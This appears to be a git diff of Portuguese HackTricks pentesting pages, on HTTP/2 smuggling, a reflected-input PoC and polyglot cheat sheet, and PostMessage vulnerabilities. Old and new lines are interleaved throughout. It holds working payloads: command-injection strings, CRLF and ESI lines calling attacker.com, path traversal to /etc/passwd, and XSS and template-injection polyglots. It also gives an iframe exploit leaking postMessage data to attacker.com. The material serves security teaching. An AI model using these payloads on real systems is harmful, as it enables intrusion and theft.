Na restrição mais pesada (sem reutilização de conexão), você detectará a vulnerabilidade com a técnica Baseada em Tempo, mas ao testá-la, você descobrirá que é um "falso positivo".
### Confirmação de Túnel
Uma maneira de **confirmar** se o **ponto final é vulnerável** mas a conexão está **dentro de um "túnel"** é **contrabandear 2 requisições completas** em 1.
O **problema** com **HTTP/1.1** é que se você **receber 2 respostas HTTP** você **não sabe** se o ponto final era **vulnerável** ou não e a **requisição "contrabandeada" foi apenas tratada como uma requisição regular**.
No entanto, esta técnica pode ser usada **em HTTP/2** porque se o ponto final era **vulnerável** e você contrabandeou uma requisição, você verá os **cabeçalhos da resposta à requisição contrabandeada na resposta do reverse proxy**:
![](<../../.gitbook/assets/image (652) (1) (1) (1).png>)
### Problema de Visão de Túnel
Pode haver outro problema, se a **resposta** à requisição legítima **contiver** um **Content-Length**, o **reverse proxy** só vai **ler os bytes especificados lá e nada mais, então você não será capaz de ler a resposta da requisição contrabandeada.**
No entanto, a **requisição HEAD** **não contém um corpo** mas geralmente **contém** o **Content-Length** como se a requisição fosse um GET. Portanto, enviando uma **requisição HEAD** **em vez de uma POST** você pode **ler os bytes do Content-Length da HEAD** da resposta da requisição contrabandeada.
![](<../../.gitbook/assets/image (628) (1) (1).png>)
### Vazamento de Cabeçalhos Internos via Túnel
Se você encontrar um **parâmetro POST** dentro da aplicação cujo **conteúdo** vai ser **refletido** na **resposta**, então você pode tentar injetar caracteres HTTP/1.1 \r\n dentro de um cabeçalho de requisição HTTP/2 para que os novos cabeçalhos injetados pelo proxy sejam anexados no parâmetro POST que será refletido na resposta:
![](<../../.gitbook/assets/image (656) (1) (1).png>)
Note que neste caso o **atacante** só se importa com a **resposta** à **primeira** **requisição**, ele não precisa ler a resposta à segunda requisição contrabandeada inválida.
{% hint style="info" %}
Usando este ataque **contra diferentes partes da web (método, caminho...)** pode levar a diferentes back-ends sendo usados e **diferentes informações sensíveis sendo vazadas**
{% endhint %}
### Envenenamento de Cache via Túnel
Neste cenário, uma **requisição HEAD** para a **URL** **cujo** **cache** vai ser **envenenado** é enviada enquanto **contrabandeia** uma **requisição** cujo **conteúdo da resposta conterá o payload** (talvez algum payload XSS).
Devido ao fato de que a **resposta HEAD contém o `Content-Type: text/html`** e porque o reverse proxy acha que a **resposta inteira à requisição contrabandeada é o corpo da requisição HEAD**, o **payload XSS** vai ser **tratado como HTML** mesmo que a página não fosse vulnerável a XSS.
![](<../../.gitbook/assets/image (659) (1).png>)
## HTTP/2 Oculto
Geralmente os servidores anunciam o suporte via campo ALPN no handshake TLS, mas alguns não.
Pode ser facilmente detectado usando `curl --http2 --http2-prior-knowledge`
## Ferramentas
* Extensão Burp: HTTP Request Smuggler
* [https://github.com/neex/http2smugl](https://github.com/neex/http2smugl)
## Referências
* Esta palestra explica perfeitamente todas as técnicas indicadas aqui: [https://www.youtube.com/watch?v=rHxVVeM9R-M](https://www.youtube.com/watch?v=rHxVVeM9R-M)
<details>
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

103
pentesting-web/pocs-and-polygloths-cheatsheet/README.md
View file

@ -1,31 +1,30 @@
# Técnicas de Reflexão - PoCs e Polygloths CheatSheet
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
Outras formas de apoiar o HackTricks:
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
O objetivo desses PoCs e Polygloths é fornecer ao testador um **resumo rápido** das vulnerabilidades que ele pode explorar se sua **entrada for de alguma forma refletida na resposta**.
O objetivo destes PoCs e Polygloths é fornecer ao testador um rápido **resumo** das vulnerabilidades que ele pode explorar se sua **entrada estiver de alguma forma sendo refletida na resposta**.
{% hint style="warning" %}
Esta **folha de dicas não propõe uma lista abrangente de testes para cada vulnerabilidade**, apenas alguns básicos. Se você está procurando testes mais abrangentes, acesse cada vulnerabilidade proposta.
Esta **cheatsheet não propõe uma lista abrangente de testes para cada vulnerabilidade**, apenas alguns básicos. Se você está procurando por testes mais abrangentes, acesse cada vulnerabilidade proposta.
{% endhint %}
{% hint style="danger" %}
Você **não encontrará injeções dependentes de Content-Type como XXE**, pois geralmente você mesmo tentará essas injeções se encontrar uma solicitação enviando dados xml. Você **também não encontrará injeções de banco de dados** aqui, pois mesmo que alguns conteúdos possam ser refletidos, isso depende muito da tecnologia e estrutura do banco de dados backend.
Você **não encontrará injeções dependentes do Content-Type como XXE**, pois geralmente você tentará essas por conta própria se encontrar uma requisição enviando dados em xml. Você **também não encontrará injeções em banco de dados** aqui, pois mesmo que algum conteúdo possa ser refletido, isso depende fortemente da tecnologia e estrutura do banco de dados de backend.
{% endhint %}
# Lista de Polygloths
## Lista de Polygloths
```python
{{7*7}}[7*7]
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
@ -65,20 +64,20 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
```
# [Injeção de Modelo do Lado do Cliente](../client-side-template-injection-csti.md)
## [Injeção de Template no Lado do Cliente](../client-side-template-injection-csti.md)
## Testes Básicos
### Testes Básicos
```
{{7*7}}
[7*7]
```
## Poliglotas
### Poliglotas
```bash
{{7*7}}[7*7]
```
# [Injeção de Comando](../command-injection.md)
## [Injeção de Comando](../command-injection.md)
## Testes Básicos
### Testes Básicos
```bash
;ls
||ls;
@ -89,29 +88,29 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
`ls`
$(ls)
```
## Poliglotas
### Poliglotas
```bash
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
```
# [CRLF](../crlf-0d-0a.md)
## [CRLF](../crlf-0d-0a.md)
## Testes Básicos
### Testes Básicos
```bash
%0d%0aLocation:%20http://attacker.com
%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
```
# Marcação Pendente
## Marcação Pendente
## Testes Básicos
### Testes Básicos
```markup
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
```
# [Inclusão de Arquivos/Travessia de Diretórios](../inclusao-de-arquivos/)
## [Inclusão de Arquivo/Travessia de Caminho](../file-inclusion/)
## Testes Básicos
### Testes Básicos
```bash
/etc/passwd
../../../../../../etc/hosts
@ -124,9 +123,9 @@ C:/windows/system32/drivers/etc/hosts
http://asdasdasdasd.burpcollab.com/mal.php
\\asdasdasdasd.burpcollab.com/mal.php
```
# [Redirecionamento Aberto](../open-redirect.md) / [Falsificação de Solicitação do Lado do Servidor](../ssrf-server-side-request-forgery/)
## [Open Redirect](../open-redirect.md) / [Server Side Request Forgery](../ssrf-server-side-request-forgery/)
## Testes Básicos
### Testes Básicos
```bash
www.whitelisted.com
www.whitelisted.com.evil.com
@ -134,34 +133,34 @@ https://google.com
//google.com
javascript:alert(1)
```
# [ReDoS](../regular-expression-denial-of-service-redos.md)
## [ReDoS](../regular-expression-denial-of-service-redos.md)
## Testes Básicos
### Testes Básicos
```bash
(\\w*)+$
([a-zA-Z]+)*$
((a+)+)+$
```
# [Inclusão do Lado do Servidor/Inclusão do Lado da Borda](../server-side-inclusion-edge-side-inclusion-injection.md)
## [Inclusão Lateral do Servidor/Inclusão Lateral de Borda](../server-side-inclusion-edge-side-inclusion-injection.md)
## Testes Básicos
### Testes Básicos
```markup
<!--#echo var="DATE_LOCAL" -->
<!--#exec cmd="ls" -->
<esi:include src=http://attacker.com/>
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
```
## Poliglotas
### Poliglotas
```markup
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
```
# [Falsificação de solicitação do lado do servidor](../ssrf-server-side-request-forgery/)
## [Server Side Request Forgery](../ssrf-server-side-request-forgery/)
Os mesmos testes usados para Redirecionamento Aberto podem ser usados aqui.
Os mesmos testes usados para Open Redirect podem ser usados aqui.
# [Injeção de modelo do lado do servidor](../ssti-server-side-template-injection/)
## [Server Side Template Injection](../ssti-server-side-template-injection/)
## Testes básicos
### Testes Básicos
```markup
${{<%[%'"}}%\
{{7*7}}
@ -170,30 +169,30 @@ ${7*7}
${{7*7}}
#{7*7}
```
## Poliglotas
### Poliglotas
```python
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
```
# [Injeção de XSLT do lado do servidor](../xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md)
## [Injeção Lateral no Servidor XSLT](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
## Testes Básicos
### Testes Básicos
```markup
<xsl:value-of select="system-property('xsl:version')" />
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
```
## Poliglotas
### Poliglotas
```markup
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
```
# XSS
## XSS
## Testes Básicos
### Testes Básicos
```markup
" onclick=alert() a="
'"><img src=x onerror=alert(1) />
javascript:alert()
```
## Poliglotas
### Poliglotas
```markup
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
@ -223,16 +222,14 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
Outras formas de apoiar o HackTricks:
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao grupo do** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo do [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

169
pentesting-web/postmessage-vulnerabilities/README.md
View file

@ -1,22 +1,24 @@
# Vulnerabilidades do PostMessage
# Vulnerabilidades PostMessage
## Vulnerabilidades do PostMessage
## Vulnerabilidades PostMessage
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Enviar **PostMessage**
O **PostMessage** usa a seguinte função para enviar uma mensagem:
**PostMessage** utiliza a seguinte função para enviar uma mensagem:
```bash
targetWindow.postMessage(message, targetOrigin, [transfer]);
@ -43,84 +45,92 @@ win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
```
Observe que **targetOrigin** pode ser um '\*' ou uma URL como _https://company.com._\
No **segundo cenário**, a **mensagem só pode ser enviada para esse domínio** (mesmo que a origem do objeto da janela seja diferente).\
Se o **curinga** for usado, **mensagens podem ser enviadas para qualquer domínio**, e serão enviadas para a origem do objeto da janela.
No **segundo cenário**, a **mensagem só pode ser enviada para aquele domínio** (mesmo que a origem do objeto window seja diferente).\
Se o **coringa** for usado, **mensagens poderão ser enviadas para qualquer domínio**, e serão enviadas para a origem do objeto Window.
### Atacando iframe e curinga em **targetOrigin**
### Atacando iframe & coringa em **targetOrigin**
Conforme explicado neste [**relatório**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), se você encontrar uma página que possa ser **inserida em um iframe** (sem proteção `X-Frame-Header`) e que esteja **enviando mensagens sensíveis** via **postMessage** usando um **curinga** (\*), você pode **modificar** a **origem** do **iframe** e **vazar** a **mensagem sensível** para um domínio controlado por você.\
Observe que se a página puder ser inserida em um iframe, mas o **targetOrigin** estiver **definido como uma URL e não como um curinga**, esse **truque não funcionará**.
Como explicado [**neste relatório**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) se você encontrar uma página que pode ser **iframed** (sem proteção `X-Frame-Header`) e que está **enviando mensagens sensíveis** via **postMessage** usando um **coringa** (\*), você pode **modificar** a **origem** do **iframe** e **vazar** a **mensagem sensível** para um domínio controlado por você.\
Observe que se a página pode ser iframed mas o **targetOrigin** está **definido para uma URL e não para um coringa**, este **truque não funcionará**.
```markup
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
```
## Exploração do addEventListener
## Exploração de addEventListener
**`addEventListener`** é a função usada pelo JS para declarar a função que está **esperando `postMessages`**.\
Um código semelhante ao seguinte será usado:
Um código semelhante ao seguinte será utilizado:
```javascript
window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;
if (event.origin !== "http://example.org:8080")
return;
// ...
// ...
}, false);
```
Observe neste caso como a **primeira coisa** que o código faz é **verificar a origem**. Isso é terrivelmente **importante**, principalmente se a página for fazer **qualquer coisa sensível** com as informações recebidas (como alterar uma senha). **Se não verificar a origem, os atacantes podem fazer as vítimas enviarem dados arbitrários para esses endpoints** e alterar as senhas das vítimas (neste exemplo).
Note neste caso como a **primeira coisa** que o código está fazendo é **verificar a origem**. Isso é extremamente **importante**, principalmente se a página for fazer **algo sensível** com a informação recebida (como mudar uma senha). **Se não verificar a origem, atacantes podem fazer com que vítimas enviem dados arbitrários para esses endpoints** e mudem as senhas das vítimas (neste exemplo).
### Enumeração
Para **encontrar ouvintes de eventos** na página atual, você pode:
* **Procurar** o código JS por `window.addEventListener` e `$(window).on` (_versão JQuery_)
* **Executar** no console das ferramentas do desenvolvedor: `getEventListeners(window)`
* **Procurar** no código JS por `window.addEventListener` e `$(window).on` (_versão JQuery_)
* **Executar** no console das ferramentas de desenvolvedor: `getEventListeners(window)`
![](<../../.gitbook/assets/image (618) (1) (1).png>)
* **Ir para** _Elementos --> Ouvintes de eventos_ nas ferramentas do desenvolvedor do navegador
* **Ir para** _Elementos --> Ouvintes de Eventos_ nas ferramentas de desenvolvedor do navegador
![](<../../.gitbook/assets/image (617).png>)
* Usar uma **extensão do navegador** como [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) ou [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Essas extensões do navegador irão **interceptar todas as mensagens** e mostrá-las para você.
* Usar uma **extensão de navegador** como [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) ou [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Essas extensões de navegador irão **interceptar todas as mensagens** e mostrá-las para você.
### Bypasses básicos de verificação de origem
### Bypasses de verificação de origem
* Se **`indexOf()`** é usado para **verificar** a **origem** do evento PostMessage, lembre-se de que ele pode ser facilmente contornado como no exemplo a seguir: `("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")`\\
* Se **`search()`** é usado para **validar** a **origem**, pode ser inseguro. De acordo com a documentação de `String.prototype.search()`, o método **recebe um objeto de expressão regular** em vez de uma string. Se algo diferente de uma expressão regular for passado, ele será convertido implicitamente em uma expressão regular.\
Na expressão regular, **um ponto (.) é tratado como um caractere curinga**. Um atacante pode tirar proveito disso e **usar** um **domínio especial** em vez do oficial para contornar a validação, como em: `"https://www.safedomain.com".search("www.s.fedomain.com")`.\\
* Se a função **`escapeHtml`** é usada, a função não cria um objeto escapado `new`, em vez disso, ela **sobrescreve propriedades** do objeto existente. Isso significa que, se pudermos criar um objeto com uma propriedade controlada que não responda a `hasOwnProperty`, ela não será escapada.
* **`event.isTrusted`** é Verdadeiro quando o evento foi gerado por uma ação do usuário. Não é realmente contornável se corretamente aplicado, mas vale a pena mencionar.
* Se **`indexOf()`** for usado para **verificar** a **origem** do evento PostMessage, lembre-se de que pode ser facilmente contornado como no exemplo a seguir:
```javascript
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
```
* Se **`search()`** for usado para **validar** a **origem**, pode ser inseguro. De acordo com a documentação de `String.prototype.search()`, o método **recebe um objeto de expressão regular** em vez de uma string. Se algo além de regexp for passado, será implicitamente convertido em regex.\
Em expressão regular, **um ponto (.) é tratado como um coringa**. Um atacante pode tirar vantagem disso e **usar** um **domínio especial** em vez do oficial para burlar a validação, como em:
```javascript
"https://www.safedomain.com".search("www.s.fedomain.com")
```
* Assim como no exemplo anterior, **`match()`** também verifica uma **regex**, então se a regex estiver malformada, ela pode ser **bypassável**.
* Se a função **`escapeHtml`** for usada, a função não cria um objeto `new` escapado, em vez disso, ela **sobrescreve propriedades** do objeto existente. Isso significa que se conseguirmos criar um objeto com uma propriedade controlada que não responda a `hasOwnProperty`, ela não será escapada.
```javascript
// Expected to fail:
result = u({
message: "'\"<b>\\"
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
// Bypassed:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
```
O objeto `File` é perfeito para este exploit, pois ele tem uma propriedade somente leitura `name` que é usada pelo nosso modelo e irá contornar a função `escapeHtml`.
O objeto `File` é perfeito para este exploit, pois possui uma propriedade `name` somente leitura que é usada pelo nosso template e irá contornar a função `escapeHtml`.
### Contornando e.origin == window.origin
### e.origin == window.origin bypass
Quando uma página é incorporada em um **iframe com sandbox** via `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">`, a **origem** desse **iframe** será **`null`**.
Quando uma página está embutida em um **iframe sandboxed** através de `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">`, o **origin** desse **iframe** será **`null`**.
Quando o valor do **sandbox `allow-popups` é definido**, então a **popup aberta** irá **herdar** todos os **atributos sandbox** a menos que `allow-popups-to-escape-sandbox` seja definido.\
Portanto, abrir uma **popup** a partir de uma **origem nula** fará com que **`window.origin`** dentro da popup também seja **`null`**.
Quando o **valor de sandbox `allow-popups` está definido**, então o **popup aberto** irá **herdar** todos os **atributos sandboxed**, a menos que `allow-popups-to-escape-sandbox` esteja definido.\
Assim, abrir um **popup** de um **origin null** fará com que **`window.origin`** dentro do popup também seja **`null`**.
Portanto, se você abrir um **iframe com sandbox** permitindo popups e, em seguida, **abrir uma popup** de dentro do iframe e **enviar uma postMessage** do iframe **para a popup**, ambas as origens são nulas, então: **`e.origin == window.origin == null`**
Portanto, se você abrir um **iframe sandboxed** permitindo popups, e então **abrir um popup** a partir do iframe, e **enviar uma postMessage** do iframe **para o popup**, ambos os origins são null, então: **`e.origin == window.origin == null`**
Para mais informações, **leia**:
Para mais informações **leia**:
{% content-ref url="bypassing-sop-with-iframes-1.md" %}
[bypassing-sop-with-iframes-1.md](bypassing-sop-with-iframes-1.md)
@ -128,59 +138,66 @@ Para mais informações, **leia**:
### Contornando e.source
Você pode forçar o **`e.source`** de uma mensagem a ser nulo criando um **iframe** que **envia** a **postMessage** e é **imediatamente excluído**.
É possível verificar se a mensagem veio da mesma janela em que o script está ouvindo (especialmente interessante para **Content Scripts de extensões de navegador** para verificar se a mensagem foi enviada da mesma página):
```javascript
// If it’s not, return immediately.
if( received_message.source !== window ) {
return;
}
```
Você pode forçar o **`e.source`** de uma mensagem a ser nulo criando um **iframe** que **envia** a **postMessage** e é **imediatamente deletado**.
Para mais informações, **leia:**
Para mais informações **leia:**
{% content-ref url="bypassing-sop-with-iframes-2.md" %}
[bypassing-sop-with-iframes-2.md](bypassing-sop-with-iframes-2.md)
{% endcontent-ref %}
### Contornando o cabeçalho X-Frame
### Bypass do X-Frame-Header
Para realizar esses ataques, idealmente você será capaz de **colocar a página da vítima** dentro de um `iframe`. Mas alguns cabeçalhos como `X-Frame-Header` podem **impedir** esse **comportamento**.\
Nesses cenários, você ainda pode usar um ataque menos furtivo. Você pode abrir uma nova guia para a aplicação web vulnerável e se comunicar com ela:
Para realizar esses ataques idealmente você conseguirá **colocar a página web da vítima** dentro de um `iframe`. Mas alguns cabeçalhos como `X-Frame-Header` podem **impedir** esse **comportamento**.\
Nesses cenários, você ainda pode usar um ataque menos discreto. Você pode abrir uma nova aba para a aplicação web vulnerável e se comunicar com ela:
```markup
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
```
### Roubo de mensagem enviada para filho bloqueando a página principal
### Roubando mensagem enviada para o iframe filho bloqueando a página principal
Na página a seguir, você pode ver como pode roubar dados **sensíveis de postmessage** enviados para um **iframe filho** **bloqueando** a página **principal** antes de enviar os dados e abusando de um **XSS no filho** para **vazar os dados** antes que sejam recebidos:
